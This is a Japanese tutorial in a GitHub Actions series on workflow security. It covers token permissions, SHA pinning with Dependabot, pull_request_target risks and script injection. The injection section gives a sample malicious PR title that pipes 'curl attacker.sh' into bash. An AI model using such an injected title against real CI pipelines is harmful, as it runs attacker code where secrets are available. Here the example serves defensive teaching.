GitHub Actions 講座 #9 セキュリティ対策 — permissions 最小化、SHA 固定、pull_request_target
ワークフローはリポジトリへの書き込み権限、シークレット、サードパーティのコードが一箇所に集まる場所です。CI が破られると、コードリポジトリとデプロイ先が一緒に破られます。実際のサプライチェーン攻撃でも定番のルートです。今回はシリーズの各所で「理由は #9 で」と先送りしてきた約束を、まとめて果たす回です。権限、サードパーティアクション、信頼できない入力という 3 方向の防御を順番に組み立てます。
permissions — トークン権限はデフォルト読み取り、必要なときだけ書き込み #
#3の GITHUB_TOKEN は便利ですが、デフォルト権限が広いまますべてのワークフローに発行されると、その分が攻撃者の戦利品になります。防御の第一歩は 2 つの層です。
- リポジトリ・組織設定でデフォルト権限を読み取り専用に: Settings の Actions メニューで Workflow permissions を Read repository contents に下げます。これが組織の安全なデフォルトになります。
- 書き込みが必要なワークフローだけ明示的に宣言: #6の
packages: write、#7のid-token: writeのように、必要な権限を必要なジョブだけに開きます。
permissions:
contents: read # 明示的に宣言すると残りはすべて none になります
jobs:
release:
permissions:
contents: write # リリース作成が必要なこのジョブだけ write注意点は #7で確認したとおりです。permissions を 1 つでも明示すると列挙しなかった権限はすべて none になるため、宣言は「必要なものすべてを正確に」が原則です。
サードパーティアクション — タグは動きます #
uses: some-org/some-action@v3 の v3 はブランチ・タグ参照なので、アクションの作者(または作者のアカウントを乗っ取った攻撃者)が同じタグを別のコードへ付け替えられます。昨日の v3 と今日の v3 が別のコードでありうるという意味で、実際のサプライチェーン事故はこのルートで起きてきました。防御はコミット SHA への固定です。
# タグ参照: 便利ですが可変です
- uses: some-org/some-action@v3
# SHA 固定: 不変。コメントに人間向けのバージョンを表記します
- uses: some-org/some-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v3.6.0SHA は不変なので、レビューしたそのコードが永遠にそのコードのままです。代わりに更新を手で追いかけるのが難しくなりますが、その相棒が Dependabot です。リポジトリに設定ファイルを 1 つ置くと、アクションの新バージョンが出たときに SHA を更新する PR を自動で上げてくれます。
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"まとめると、SHA で固定して Dependabot で更新するがサードパーティアクション管理の現行標準です。actions/ で始まる GitHub 公式アクションはタグ参照を許容するチームも多いですが、基準を 1 つに統一した方がレビューがシンプルになります。
pull_request_target — 名前が似ている罠 #
フォーク PR にもシークレットが必要な自動化(ラベル付与、PR コメント)を作っていると、pull_request_target イベントにたどり着きます。pull_request と一語違いですが、信頼モデルは正反対です。
- pull_request: フォーク PR ではシークレットがなく、トークンが読み取り専用という、低い信頼での実行です。だから安全です。
- pull_request_target: ベースリポジトリのコンテキストで実行され、シークレットと書き込みトークンが生きています。代わりにデフォルトの checkout もベースブランチのコードです。
罠はこの組み合わせです。pull_request_target のワークフローで PR 側のコードを checkout して実行(ビルド、テスト、スクリプト)すると、見知らぬ人のコードがシークレットの生きた環境で動きます。シークレット窃取事故の教科書的なルートです。原則は「pull_request_target では PR のコードを実行しない」の一つだけに保ちます。ラベルやコメントのようにコード実行が不要な仕事だけに使い、フォークのコードを実行する必要がある検証は、シークレットのない pull_request で回します。
スクリプトインジェクション — タイトルも入力値です #
#2で「外部の値は env を経由させる」と言った理由を返す番です。PR のタイトル、ブランチ名、Issue の本文は外部の人が決められる値で、これを run スクリプトに直接展開するとこうなります。
# 脆弱: タイトルがそのままシェルに埋め込まれます
- run: echo "PR タイトル: ${{ github.event.pull_request.title }}"タイトルを "; curl attacker.sh | bash; echo " にした PR が来ると、そのコマンドがランナーで実行されます。式の展開はシェルが解釈する前の文字列置換だからです。防御は env 経由です。
# 安全: 環境変数で受け取ればシェルは値としてだけ扱います
- run: echo "PR タイトル: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}環境変数の値はシェル文法として再解釈されないため、どんなタイトルが来てもただの文字列です。「外部から来た値を run に直接 ${{ }} で入れない」をレビューチェックリストに入れておけば、この系統の脆弱性は構造的に消えます。
まとめ #
今回扱った内容です。
- GITHUB_TOKEN はリポジトリ設定でデフォルト読み取りに下げ、書き込みは必要なジョブだけに明示します。明示すると残りは none になります
- アクションのタグは可変です。コミット SHA で固定し、Dependabot に更新 PR を上げさせる組み合わせが標準です
- pull_request_target はシークレットが生きた実行です。その中で PR のコードを実行しないのが原則です
- PR タイトルやブランチ名のような外部の値を run に直接展開するとスクリプトインジェクションになります。必ず env を経由してシェル変数として読みます
- セルフホストランナーをパブリックリポジトリで使わないという前回の原則まで合わせると、信頼できないコード・入力とシークレットを隔離するという一つの文にまとまります
次回(#10 運用パターン)はシリーズの最終回です。モノレポのパスフィルター、concurrency、デバッグの道具、コストの点検まで、日々の運用パターンをまとめて整理します。